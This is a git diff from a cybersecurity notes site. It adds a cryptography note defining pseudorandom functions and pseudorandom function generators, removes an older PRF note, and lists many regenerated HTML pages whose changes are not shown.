diff --git a/Notes/Cryptography/Pseudorandom Generators (PRGs)/Pseudorandom Function Generators (PRFGs).md b/Notes/Cryptography/Pseudorandom Generators (PRGs)/Pseudorandom Function Generators (PRFGs).md new file mode 100644 index 00000000..8ab1f448 --- /dev/null +++ b/Notes/Cryptography/Pseudorandom Generators (PRGs)/Pseudorandom Function Generators (PRFGs).md @@ -0,0 +1,63 @@ +# Pseudorandom Functions +In order to understand what a pseudorandom function generator (PRFG) is, one needs to understand what it means for a function to be random or pseudorandom. + +A truly random function $H: \{0,1\}^S \to \{0,1\}^{l_{\textit{out}}}$ is a function chosen according to the uniform distribution of all functions that take a string of length $S$ and output a string of length $\{0,1\}^{l_{\textit{out}}}$. Alternatively, a random function can be thought of as a function which outputs a random string of length $l_{\textit{out}}$ for every input $i \in \{0,1\}^S$, called an *input data block (IDB)*. This can be pictured as a table of all possible IDBs and their corresponding, at the beginning undetermined, outputs. Whenever $H$ is invoked with an IDB $i$, that IDB is looked up in the table. If its entry already has an output, then this value is directly returned. Otherwise, the function $H$ "flips a coin" $l_{\textit{out}}$ times to determine each bit of the output, fills the generated output in the table and finally returns it. Subsequent queries for the same input data block will provide the already generated output. + +![](Resources/Images/Random%20Function.svg) + +```admonish note +The input to a PRF may sometimes be treated as an integer between $0$ and $2^S - 1$, which can be represented as a binary string of length $S$. In these cases, it is called an *index* instead of an input data block. +``` + +The reason that these two notions of a random function are equivalent is that each "coin toss" can be thought of as making a step forward in search for the function $H$ which on input a specific $i$ outputs a specific output $o$. Before the first coin flip, there are $2^{l_{\text{out}}}$ possible outputs. After the first coin flip, there are $2^{l_{\text{out}} - 1}$ possible outputs - the first bit $b_0$ has been generated and the output has the form $b_0\cdots$ where the dots represent the remaining $l_{\text{out}} - 1$ bits, which are unknown. After the second flip, the output has two bits generated and $l_{\text{out}} - 2$ unknown bits - there are $2^{l_{\text{out}} - 2}$ remaining possibilities for the final output string. Each coin flip halves the number of possibilities for the output until the final flip settles on a single output. Since a function can only have a single output for a given input, deciding this output is like picking a function from all possible functions. The probability that we get a specific function $H$ is $\frac{1}{2^{l_{\text{out}}}}$ - the same as if simply choosing a function from a uniform distribution. + +```admonish note +A random function is still *deterministic* in the sense that when input the same data block it will always give the same output. +``` + +Unfortunately, truly random functions present a great implementational challenge for classical computers due to their difficulty in obtaining true randomness. A computer cannot really "flip a coin $l_{\textit{out}}$ times" and is limited by its external [randomness sources](../Private-Key%20Cryptography/Security%20Notions/Randomness.md). + +This is why we have to settle for *pseudorandom functions*. + +```admonish danger title="Definition: Pseudorandom Function (PRF)" +A *pseudorandom function* is an efficient algorithm $\textit{PRF}(idb: \mathbf{str}[S]) \to \mathbf{str}[l_{\textit{out}}]$ such that for every efficient distinguisher $D(\textit{func}: \textbf{function<}\mathbf{str}[S] \to \mathbf{str}[l_{\textit{out}}]\textbf{>}) \to \mathbf{bit}$ it holds that + +$$\left|\Pr[D(\textit{PRF}) = 1] - \Pr_{H \leftarrow_R \{0,1\}^S \to \{0,1\}^{l_{\text{out}}}}[D(H) = 1]\right| \le \epsilon(S)$$ + +for some negligible $\epsilon$. +``` + +```admonish tip title="Definition Breakdown" +The distinguisher $D(\textit{func}: \textbf{function<}\mathbf{str}[S] \to \mathbf{str}[l_{\text{out}}]\textbf{>}$ takes a function whose inputs are strings of length $S$ and which outputs a string of length $l_{\text{out}}$ and tries to determine if the function is a truly random function. This notation means that the distinguisher has *oracle access* to the function - it can freely query the function with any inputs and can inspect the resulting outputs. Sometimes, the objectively worse notation $D^f(1^S)$ is also used to denote that the distinguisher $D$ has oracle access to the function $f$. + +A function is pseudorandom if there is no efficient distinguisher which can tell the difference between it and a truly random function $H$ which was chosen from the uniform distribution of all functions $\{0,1\}^S \to \{0,1\}^{l_{\text{out}}}$ with non-negligible probability. +``` + +Pseudorandom functions are useful because they are a generalisation of [pseudorandom generators](index.md). The length of the output of a PRG must always be greater than the length of its seed, but PRFs allow for an output whose length is independent of the input data block. Mostly, however, they are useful because they produce pseudorandom strings, just like PRGs. + +But as with most things in cryptography, it is unknown if pseudorandom functions actually exist. The definition is quite broad in the sense that there should be absolutely no distinguisher which can tell that the function is actually not truly random - a pretty difficult thing to do. So, once again, we are forced to hope that they do exist because otherwise cryptography falls apart - we consider a given algorithm to be a pseudorandom function until someone strings along and proves us wrong. Nevertheless, we still want to make as few assumptions as possible and build the rest on top of it. + +```admonish question title="Assumption: Existence of a One-Bit Pseudorandom Function" +There exists a pseudorandom function $\textit{PRF}(idb: \mathbf{str}[S]) \to \mathbf{bit}$ which outputs a single bit, i.e. $l_{\text{out}} = 1$. +``` + +As it turns out, such a pseudorandom function can be used to construct PRFs with any output length. + +# Pseudorandom Function Generators (PRFGs) +[Pseudorandom generators](index.md) produces pseudorandom strings, while pseudorandom function generators (PRFGs) produce pseudorandom functions. + +```admonish danger title="Definition: Pseudorandom Function Generator (PRFG)" +A *pseudorandom function generator (PRFG)* is an efficient algorithm $\textit{PRFG}(seed: \textbf{str}[S]) \to \textbf{function<}\textbf{int}[0..2^S-1] \to \textbf{str}[l_{\text{out}}]\textbf{>}$ which takes a seed $s \in \{0,1\}^S$ and outputs a pseudorandom function whose input is a data block of size $S$ and whose output is a string of length $l_{\text{out}}$. +``` +```admonish tip title="Definition Breakdown" +A pseudorandom function generator takes a seed and produces a pseudorandom function. The resulting function takes input data blocks with the same length $S$ as the PRFG's seed and its outputs have length $l_{\text{out}}$. It is common to notate a PRF that was produced by PRFG as $f_s$ where $f$ is the function's name and $s$ is the seed used to obtain it. +``` + +It is important to remember that the output of a PRFG is a *function*. Specifically, a PRFG produces a function which takes inputs of the same size as the PRFG's seed. This coincidence has unfortunately led to PRFs and PRFGs commonly being mixed up. It is common to see a PRFG as a two input algorithm $\textit{PRFG}(seed: \textbf{str}[S], idb: \textbf{str}[S]) \to l_{\text{out}}$ that takes a seed $s$ *and* an input data block $i$ and acts like a pseudorandom function $f_s(i)$. In this case, $\textit{PRFG}(s,i)$ internally obtains the function $f$ from the seed $s$ and then passes it the data block $i$. Finally, the PRFG returns the output of the function $f$. + +```rust +fn PRFG(seed: str[S], idb: str[S]) -> str[l_out] { + let f = get_function_from_seed(seed); + return f(idb); +} +``` \ No newline at end of file diff --git a/Notes/Cryptography/Pseudorandom Generators (PRGs)/Pseudorandom Functions (PRFs).md b/Notes/Cryptography/Pseudorandom Generators (PRGs)/Pseudorandom Functions (PRFs).md deleted file mode 100644 index 289be447..00000000 --- a/Notes/Cryptography/Pseudorandom Generators (PRGs)/Pseudorandom Functions (PRFs).md +++ /dev/null @@ -1,46 +0,0 @@ -# Introduction -Pseudorandom functions (PRFs) are a generalisation of pseudorandom generators. They take a seed and an integer and produce a single bit. - -```admonish danger title="Definition: Pseudorandom Function (PRF)" -A *pseudorandom function (PRF)* is an efficient algorithm $\textit{PRF}(seed: \textbf{str}[S], index: \textbf{int}[0..2^S - 1]) \to \textbf{bit}$ which takes a seed $s \in \{0,1\}^S$ of length $S$ and an integer $i \in \{0,1,...,2^S - 1\}$, called an *index*, and outputs a single bit. - -The seed may also be denoted as a subscript - $\textit{PRF}_s(i)$. -``` - -In its core, a PRF is just a function which produces a single bit at a time. However, what does the "pseudorandom" stand for in this case? The answer is that it is related to the *security* of the PRF. - -```admonish danger title="Definition: Security of a PRF" -A pseudorandom function $\textit{PRF}(seed: \textbf{str}[S], index: \textbf{int}[0..2^S - 1]) \to \textbf{bit}$ is *secure* if for every seed $s$ and efficient distinguisher $D(input: \textbf{str}[t]) \to \textbf{bit}$ that has oracle access to $\textit{PRF}_s$, - -$$\left|\Pr_{\tau \leftarrow_R \{0,1\}^t}[D^{\textit{PRF}_s} (\tau) = 1] - \Pr_{H \leftarrow_R ([2^t] \to \{0,1\})}[D^H(\tau) = 1] \right| \le \epsilon(t)$$ - -for some negligible $\epsilon$. -``` - -```admonish tip title="Definition Breakdown" -*Oracle / Black-box* access means that the distinguisher can query $\textit{PRF}_s$ with any index $i$ and do any number of times, so long as it is polynomial in $t$ (otherwise the distinguisher itself won't be efficient). Whilst the distinguish eris free to choose the indices it queries, it neither knows nor is allowed to change the seed. A PRF is then secure if no distinguisher can tell with non-negligible probability the difference between a string that was obtain from $\textit{PRF}_s$ using some indices $i_0, i_1, ..., i_{t-1}$ and a string that was produced by concatenating sequential bits obtained from a truly random function $H$. -``` - -A truly random function $H(index: \textbf{int}[0..2^t - 1]) \to \textbf{bit}$ is a function which outputs a random bit for every index. Note, however, that $H$ is still deterministic - it always outputs the same bit if the same index is used. One can picture such a function as a table of all possible indices and their corresponding, at the beginning undetermined outputs. Whenever $H$ is invoked with an index $i$, that index is looked up in the table. If its entry already has an output associated, then this value is directly returned. Otherwise, the function $H$ "flips a coin" to determine if the output for this index should be 1 or 0, fills it in the table and then returns it. - -### PRGs from PRFs -It is obvious that we can build a pseudorandom generator$\textit{PRG}(seed: \textbf{str}[S]) \to \textbf{str}[R]$ from a pseudorandom function by simply running the PRF for each index between $0$ and $R - 1$. In order for the constructed PRG to be secure, it is necessary that the PRF used must be, too. Recall that a secure PRG is *unpredictable*. Since the PRF is used to generate the output of the PRG one bit at a time, then the only way for the PRG to be unpredictable is if the PRF is also unpredictable. - -```admonish info title="PRF Unpredictability" -A secure $\textit{PRF}_s$ is unpredictable in the sense that there is no efficient predictor algorithm $P$ which takes the bits $y[0],y[1],...,y[i]$ output by the PRF for the indices $\{0,1,...,i\} and can guess $\textit{PRG}_s(i+1)$ with probability better than $\frac{1}{2} + \epsilon$ for some negligible $\epsilon$. -``` - -Essentially, the unpredictability of a PRF translates directly into the unpredictability of any PRG that is built from it. - -### PRFs from PRGs -Interestingly enough, the converse direction is also true - a secure PRG can be used to construct a secure PRF. To illustrate this, we are going to show that we can use a secure pseudorandom generator $G(seed: \textbf{str}[S]) \to \textbf{str}[2S]$, which expands a seed of size $S$ into a string twice that size, to construct a secure pseudorandom function $F$. - ---- - -#### Further Reading -- Alternative Definition of security -A pseudorandom function $\textit{PRF}$ is *secure* if for every efficient adversary $\mathcal{A}$ which takes the bits $\textit{PRF}_s(0), \textit{PRF}_s(1), ..., \textit{PRF}_s(i)$, the probability that $\mathcal{A}$ can guess $\textit{PRF}_s(i+1)$ is only negligibly greater than $\frac{1}{2}$. - -$$\Pr_{s \leftarrow_R \mathcal{S}}[\mathcal{A}(\textit{PRF}_s(0), \textit{PRF}_s(1), ..., \textit{PRF}_s(i)) = \textit{PRF}_s(i+1))] = \frac{1}{2} + \epsilon(S)$$ - -for some negligible $\epsilon$. diff --git a/Notes/Cryptography/Pseudorandom Generators (PRGs)/Resources/Images/Random Function.svg b/Notes/Cryptography/Pseudorandom Generators (PRGs)/Resources/Images/Random Function.svg new file mode 100644 index 00000000..37438cb5 --- /dev/null +++ b/Notes/Cryptography/Pseudorandom Generators (PRGs)/Resources/Images/Random Function.svg @@ -0,0 +1,4 @@ + + + +
$$H$$
Input
Data Block
Input...
Output
Output
00101
00101
...
...
...
...
101011
101011
00110
00110
?
?
00111
00111
101111
101111
01000
01000
000010
000010
01001
01001
?
?
...
...
...
...
Flip a coin times
Flip a coin \(l_\text{out}\) t...
$$l_\text{out} = 6$$
$$S = 5$$
Input: 01001
Input: 01001
Input: 01001
Input: 01001
Output:

Output:...
Return
Return
101110
101110
Output:

Output:...
Fill in
Fill in
100100
100100
Return
Return
Text is not SVG - cannot display
\ No newline at end of file diff --git a/Notes/SUMMARY.md b/Notes/SUMMARY.md index 31f64b8c..8eabe235 100644 --- a/Notes/SUMMARY.md +++ b/Notes/SUMMARY.md @@ -152,7 +152,7 @@ - [Hash Functions](Cryptography/Hash%20Functions/index.md) - [Public-Key Cryptography](Cryptography/Public-Key%20Cryptography/index.md) - [Pseudorandom Generators (PRGs)](Cryptography/Pseudorandom%20Generators%20(PRGs)/index.md) - - [Pseudorandom Functions (PRFs)](Cryptography/Pseudorandom%20Generators%20(PRGs)/Pseudorandom%20Functions%20(PRFs).md) + - [Pseudorandom Function Generators (PRFGs)](Cryptography/Pseudorandom%20Generators%20(PRGs)/Pseudorandom%20Function%20Generators%20(PRFGs).md) - [Private-Key Cryptography](Cryptography/Private-Key%20Cryptography/index.md) - [Stream Ciphers](Cryptography/Private-Key%20Cryptography/Stream%20Ciphers/index.md) - [Hardware-Oriented Stream Ciphers](Cryptography/Private-Key%20Cryptography/Stream%20Ciphers/Hardware-Oriented%20Stream%20Ciphers/index.md) diff --git a/docs/404.html b/docs/404.html index 12ddef13..9176a7fe 100644 --- a/docs/404.html +++ b/docs/404.html @@ -101,7 +101,7 @@ diff --git a/docs/Cryptography/Breaking Classical Cryptrography.html b/docs/Cryptography/Breaking Classical Cryptrography.html index 5a8ddab0..4f3fe992 100644 --- a/docs/Cryptography/Breaking Classical Cryptrography.html +++ b/docs/Cryptography/Breaking Classical Cryptrography.html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/Computer Science Prerequisites.html b/docs/Cryptography/Computer Science Prerequisites.html index 26083fed..280c6883 100644 --- a/docs/Cryptography/Computer Science Prerequisites.html +++ b/docs/Cryptography/Computer Science Prerequisites.html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/Hash Functions/index.html b/docs/Cryptography/Hash Functions/index.html index 86a4cd91..b32dfa3e 100644 --- a/docs/Cryptography/Hash Functions/index.html +++ b/docs/Cryptography/Hash Functions/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/Mathematical Prerequisites.html b/docs/Cryptography/Mathematical Prerequisites.html index a1d7ee40..a2b58da9 100644 --- a/docs/Cryptography/Mathematical Prerequisites.html +++ b/docs/Cryptography/Mathematical Prerequisites.html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/Private-Key Cryptography/Block Ciphers/Advanced Encryption Standard (AES).html b/docs/Cryptography/Private-Key Cryptography/Block Ciphers/Advanced Encryption Standard (AES).html index 2ed12831..77ae929c 100644 --- a/docs/Cryptography/Private-Key Cryptography/Block Ciphers/Advanced Encryption Standard (AES).html +++ b/docs/Cryptography/Private-Key Cryptography/Block Ciphers/Advanced Encryption Standard (AES).html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/Private-Key Cryptography/Block Ciphers/CBC Bit Flip Attack.html b/docs/Cryptography/Private-Key Cryptography/Block Ciphers/CBC Bit Flip Attack.html index 74e645ec..406edf96 100644 --- a/docs/Cryptography/Private-Key Cryptography/Block Ciphers/CBC Bit Flip Attack.html +++ b/docs/Cryptography/Private-Key Cryptography/Block Ciphers/CBC Bit Flip Attack.html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/Private-Key Cryptography/Block Ciphers/Encrypting Non-Conforming Messages.html b/docs/Cryptography/Private-Key Cryptography/Block Ciphers/Encrypting Non-Conforming Messages.html index 939ad0e9..053404c4 100644 --- a/docs/Cryptography/Private-Key Cryptography/Block Ciphers/Encrypting Non-Conforming Messages.html +++ b/docs/Cryptography/Private-Key Cryptography/Block Ciphers/Encrypting Non-Conforming Messages.html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/Private-Key Cryptography/Block Ciphers/Modes of Operation.html b/docs/Cryptography/Private-Key Cryptography/Block Ciphers/Modes of Operation.html index 741605f1..a013151d 100644 --- a/docs/Cryptography/Private-Key Cryptography/Block Ciphers/Modes of Operation.html +++ b/docs/Cryptography/Private-Key Cryptography/Block Ciphers/Modes of Operation.html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/Private-Key Cryptography/Block Ciphers/Padding Oracle Attack.html b/docs/Cryptography/Private-Key Cryptography/Block Ciphers/Padding Oracle Attack.html index 97c81359..19bd3038 100644 --- a/docs/Cryptography/Private-Key Cryptography/Block Ciphers/Padding Oracle Attack.html +++ b/docs/Cryptography/Private-Key Cryptography/Block Ciphers/Padding Oracle Attack.html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/Private-Key Cryptography/Block Ciphers/index.html b/docs/Cryptography/Private-Key Cryptography/Block Ciphers/index.html index edca60bd..bebc233d 100644 --- a/docs/Cryptography/Private-Key Cryptography/Block Ciphers/index.html +++ b/docs/Cryptography/Private-Key Cryptography/Block Ciphers/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/Private-Key Cryptography/Message Authentication Codes (MACs).html b/docs/Cryptography/Private-Key Cryptography/Message Authentication Codes (MACs).html index 44e175f7..2e5ad216 100644 --- a/docs/Cryptography/Private-Key Cryptography/Message Authentication Codes (MACs).html +++ b/docs/Cryptography/Private-Key Cryptography/Message Authentication Codes (MACs).html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/Private-Key Cryptography/One-Time Pad.html b/docs/Cryptography/Private-Key Cryptography/One-Time Pad.html index 5a5e0884..cbec285a 100644 --- a/docs/Cryptography/Private-Key Cryptography/One-Time Pad.html +++ b/docs/Cryptography/Private-Key Cryptography/One-Time Pad.html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/Private-Key Cryptography/Security Notions/P vs NP.html b/docs/Cryptography/Private-Key Cryptography/Security Notions/P vs NP.html index b944fd65..9f5bcccf 100644 --- a/docs/Cryptography/Private-Key Cryptography/Security Notions/P vs NP.html +++ b/docs/Cryptography/Private-Key Cryptography/Security Notions/P vs NP.html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/Private-Key Cryptography/Security Notions/Perfect Secrecy.html b/docs/Cryptography/Private-Key Cryptography/Security Notions/Perfect Secrecy.html index 298d00d4..59d45fcd 100644 --- a/docs/Cryptography/Private-Key Cryptography/Security Notions/Perfect Secrecy.html +++ b/docs/Cryptography/Private-Key Cryptography/Security Notions/Perfect Secrecy.html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/Private-Key Cryptography/Security Notions/Randomness.html b/docs/Cryptography/Private-Key Cryptography/Security Notions/Randomness.html index 61757bc4..abea7af8 100644 --- a/docs/Cryptography/Private-Key Cryptography/Security Notions/Randomness.html +++ b/docs/Cryptography/Private-Key Cryptography/Security Notions/Randomness.html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/Private-Key Cryptography/Security Notions/Semantic Security.html b/docs/Cryptography/Private-Key Cryptography/Security Notions/Semantic Security.html index 6b82bde4..2a578206 100644 --- a/docs/Cryptography/Private-Key Cryptography/Security Notions/Semantic Security.html +++ b/docs/Cryptography/Private-Key Cryptography/Security Notions/Semantic Security.html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/Private-Key Cryptography/Security Notions/index.html b/docs/Cryptography/Private-Key Cryptography/Security Notions/index.html index 6e472881..a571f89f 100644 --- a/docs/Cryptography/Private-Key Cryptography/Security Notions/index.html +++ b/docs/Cryptography/Private-Key Cryptography/Security Notions/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/Private-Key Cryptography/Stream Ciphers/Hardware-Oriented Stream Ciphers/Grain-128a.html b/docs/Cryptography/Private-Key Cryptography/Stream Ciphers/Hardware-Oriented Stream Ciphers/Grain-128a.html index c2ed6345..ddbd7651 100644 --- a/docs/Cryptography/Private-Key Cryptography/Stream Ciphers/Hardware-Oriented Stream Ciphers/Grain-128a.html +++ b/docs/Cryptography/Private-Key Cryptography/Stream Ciphers/Hardware-Oriented Stream Ciphers/Grain-128a.html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/Private-Key Cryptography/Stream Ciphers/Hardware-Oriented Stream Ciphers/index.html b/docs/Cryptography/Private-Key Cryptography/Stream Ciphers/Hardware-Oriented Stream Ciphers/index.html index 5f059957..869263c1 100644 --- a/docs/Cryptography/Private-Key Cryptography/Stream Ciphers/Hardware-Oriented Stream Ciphers/index.html +++ b/docs/Cryptography/Private-Key Cryptography/Stream Ciphers/Hardware-Oriented Stream Ciphers/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/Private-Key Cryptography/Stream Ciphers/index.html b/docs/Cryptography/Private-Key Cryptography/Stream Ciphers/index.html index 112cc419..af58d254 100644 --- a/docs/Cryptography/Private-Key Cryptography/Stream Ciphers/index.html +++ b/docs/Cryptography/Private-Key Cryptography/Stream Ciphers/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/Private-Key Cryptography/index.html b/docs/Cryptography/Private-Key Cryptography/index.html index 5fb5e5ef..a9e89e2c 100644 --- a/docs/Cryptography/Private-Key Cryptography/index.html +++ b/docs/Cryptography/Private-Key Cryptography/index.html @@ -100,7 +100,7 @@ @@ -198,7 +198,7 @@

Introduction - @@ -212,7 +212,7 @@

Introduction @@ -320,7 +320,7 @@

Leap of Faith - @@ -334,7 +334,7 @@

Leap of Faith - diff --git a/docs/Cryptography/Public-Key Cryptography/index.html b/docs/Cryptography/Public-Key Cryptography/index.html index 40f54176..52d1d67c 100644 --- a/docs/Cryptography/Public-Key Cryptography/index.html +++ b/docs/Cryptography/Public-Key Cryptography/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Cryptography/index.html b/docs/Cryptography/index.html index ce9b1a38..07837512 100644 --- a/docs/Cryptography/index.html +++ b/docs/Cryptography/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Cyberclopaedia/Contributing.html b/docs/Cyberclopaedia/Contributing.html index a199db77..88b39863 100644 --- a/docs/Cyberclopaedia/Contributing.html +++ b/docs/Cyberclopaedia/Contributing.html @@ -100,7 +100,7 @@ diff --git a/docs/Cyberclopaedia/License.html b/docs/Cyberclopaedia/License.html index 00726a6e..52ef8365 100644 --- a/docs/Cyberclopaedia/License.html +++ b/docs/Cyberclopaedia/License.html @@ -100,7 +100,7 @@ diff --git a/docs/Cyberclopaedia/index.html b/docs/Cyberclopaedia/index.html index 6c13f5b5..0cac5408 100644 --- a/docs/Cyberclopaedia/index.html +++ b/docs/Cyberclopaedia/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Binary Exploitation/Heap Exploitation/Use After Free (UAF).html b/docs/Exploitation/Binary Exploitation/Heap Exploitation/Use After Free (UAF).html index 3f9fa5cb..2da5e0d0 100644 --- a/docs/Exploitation/Binary Exploitation/Heap Exploitation/Use After Free (UAF).html +++ b/docs/Exploitation/Binary Exploitation/Heap Exploitation/Use After Free (UAF).html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Binary Exploitation/Heap Exploitation/index.html b/docs/Exploitation/Binary Exploitation/Heap Exploitation/index.html index f5959553..3c36d4d0 100644 --- a/docs/Exploitation/Binary Exploitation/Heap Exploitation/index.html +++ b/docs/Exploitation/Binary Exploitation/Heap Exploitation/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Binary Exploitation/Stack Exploitation/Buffer Overflows.html b/docs/Exploitation/Binary Exploitation/Stack Exploitation/Buffer Overflows.html index 0c1c2123..80df60fa 100644 --- a/docs/Exploitation/Binary Exploitation/Stack Exploitation/Buffer Overflows.html +++ b/docs/Exploitation/Binary Exploitation/Stack Exploitation/Buffer Overflows.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Binary Exploitation/Stack Exploitation/Format String Vulnerabilities.html b/docs/Exploitation/Binary Exploitation/Stack Exploitation/Format String Vulnerabilities.html index 2102ab56..82a85457 100644 --- a/docs/Exploitation/Binary Exploitation/Stack Exploitation/Format String Vulnerabilities.html +++ b/docs/Exploitation/Binary Exploitation/Stack Exploitation/Format String Vulnerabilities.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Binary Exploitation/Stack Exploitation/Protection Mechanisms.html b/docs/Exploitation/Binary Exploitation/Stack Exploitation/Protection Mechanisms.html index 20ee308c..676f3ea8 100644 --- a/docs/Exploitation/Binary Exploitation/Stack Exploitation/Protection Mechanisms.html +++ b/docs/Exploitation/Binary Exploitation/Stack Exploitation/Protection Mechanisms.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Binary Exploitation/Stack Exploitation/Return to _dl_resolve.html b/docs/Exploitation/Binary Exploitation/Stack Exploitation/Return to _dl_resolve.html index 54682614..8285bda3 100644 --- a/docs/Exploitation/Binary Exploitation/Stack Exploitation/Return to _dl_resolve.html +++ b/docs/Exploitation/Binary Exploitation/Stack Exploitation/Return to _dl_resolve.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Binary Exploitation/Stack Exploitation/Return-oriented programming (ROP).html b/docs/Exploitation/Binary Exploitation/Stack Exploitation/Return-oriented programming (ROP).html index 38adb1c1..325eb491 100644 --- a/docs/Exploitation/Binary Exploitation/Stack Exploitation/Return-oriented programming (ROP).html +++ b/docs/Exploitation/Binary Exploitation/Stack Exploitation/Return-oriented programming (ROP).html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Binary Exploitation/Stack Exploitation/Sigreturn-oriented Programming (SROP).html b/docs/Exploitation/Binary Exploitation/Stack Exploitation/Sigreturn-oriented Programming (SROP).html index f89b584f..164c6e8c 100644 --- a/docs/Exploitation/Binary Exploitation/Stack Exploitation/Sigreturn-oriented Programming (SROP).html +++ b/docs/Exploitation/Binary Exploitation/Stack Exploitation/Sigreturn-oriented Programming (SROP).html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Binary Exploitation/Stack Exploitation/index.html b/docs/Exploitation/Binary Exploitation/Stack Exploitation/index.html index e0015d93..4378f322 100644 --- a/docs/Exploitation/Binary Exploitation/Stack Exploitation/index.html +++ b/docs/Exploitation/Binary Exploitation/Stack Exploitation/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Binary Exploitation/index.html b/docs/Exploitation/Binary Exploitation/index.html index b03f53ad..182f06be 100644 --- a/docs/Exploitation/Binary Exploitation/index.html +++ b/docs/Exploitation/Binary Exploitation/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/DNS/DNS Cache Poisoning.html b/docs/Exploitation/DNS/DNS Cache Poisoning.html index 75178058..a64eca7c 100644 --- a/docs/Exploitation/DNS/DNS Cache Poisoning.html +++ b/docs/Exploitation/DNS/DNS Cache Poisoning.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/DNS/DNS Traffic Amplification.html b/docs/Exploitation/DNS/DNS Traffic Amplification.html index 3dd06beb..4e48776e 100644 --- a/docs/Exploitation/DNS/DNS Traffic Amplification.html +++ b/docs/Exploitation/DNS/DNS Traffic Amplification.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/DNS/index.html b/docs/Exploitation/DNS/index.html index b8158916..e1deac32 100644 --- a/docs/Exploitation/DNS/index.html +++ b/docs/Exploitation/DNS/index.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Web/CRLF Injection.html b/docs/Exploitation/Web/CRLF Injection.html index da026f8c..32fcb975 100644 --- a/docs/Exploitation/Web/CRLF Injection.html +++ b/docs/Exploitation/Web/CRLF Injection.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Web/Cross-Site Request Forgery.html b/docs/Exploitation/Web/Cross-Site Request Forgery.html index a5a34174..0e5ccc57 100644 --- a/docs/Exploitation/Web/Cross-Site Request Forgery.html +++ b/docs/Exploitation/Web/Cross-Site Request Forgery.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Web/Cross-Site Scripting (XSS).html b/docs/Exploitation/Web/Cross-Site Scripting (XSS).html index ad15f73b..b8a1f66f 100644 --- a/docs/Exploitation/Web/Cross-Site Scripting (XSS).html +++ b/docs/Exploitation/Web/Cross-Site Scripting (XSS).html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Web/HTTP Parameter Pollution.html b/docs/Exploitation/Web/HTTP Parameter Pollution.html index e002c609..e4a672d9 100644 --- a/docs/Exploitation/Web/HTTP Parameter Pollution.html +++ b/docs/Exploitation/Web/HTTP Parameter Pollution.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Web/HTTP Response Splitting.html b/docs/Exploitation/Web/HTTP Response Splitting.html index 30f4272c..5d373a6f 100644 --- a/docs/Exploitation/Web/HTTP Response Splitting.html +++ b/docs/Exploitation/Web/HTTP Response Splitting.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Web/Host Header Injection.html b/docs/Exploitation/Web/Host Header Injection.html index 460963b3..58f82e5d 100644 --- a/docs/Exploitation/Web/Host Header Injection.html +++ b/docs/Exploitation/Web/Host Header Injection.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Web/Open Redirect.html b/docs/Exploitation/Web/Open Redirect.html index aae37dc9..3d040706 100644 --- a/docs/Exploitation/Web/Open Redirect.html +++ b/docs/Exploitation/Web/Open Redirect.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Web/PHP Object Injection.html b/docs/Exploitation/Web/PHP Object Injection.html index 8f346da3..8c732314 100644 --- a/docs/Exploitation/Web/PHP Object Injection.html +++ b/docs/Exploitation/Web/PHP Object Injection.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Web/SQL Injection/Cheatsheets.html b/docs/Exploitation/Web/SQL Injection/Cheatsheets.html index 6bfbdb8b..09e16d4f 100644 --- a/docs/Exploitation/Web/SQL Injection/Cheatsheets.html +++ b/docs/Exploitation/Web/SQL Injection/Cheatsheets.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Web/SQL Injection/Defences.html b/docs/Exploitation/Web/SQL Injection/Defences.html index 58638ee5..c5ab755a 100644 --- a/docs/Exploitation/Web/SQL Injection/Defences.html +++ b/docs/Exploitation/Web/SQL Injection/Defences.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Web/SQL Injection/Finding SQLi.html b/docs/Exploitation/Web/SQL Injection/Finding SQLi.html index 2d84cf4a..25e08877 100644 --- a/docs/Exploitation/Web/SQL Injection/Finding SQLi.html +++ b/docs/Exploitation/Web/SQL Injection/Finding SQLi.html @@ -100,7 +100,7 @@ diff --git a/docs/Exploitation/Web/SQL Injection/Introduction.html b/docs/Exploitation/Web/SQL Injection/Introduction.html index 9da1578e..7a8260a0 100644 --- 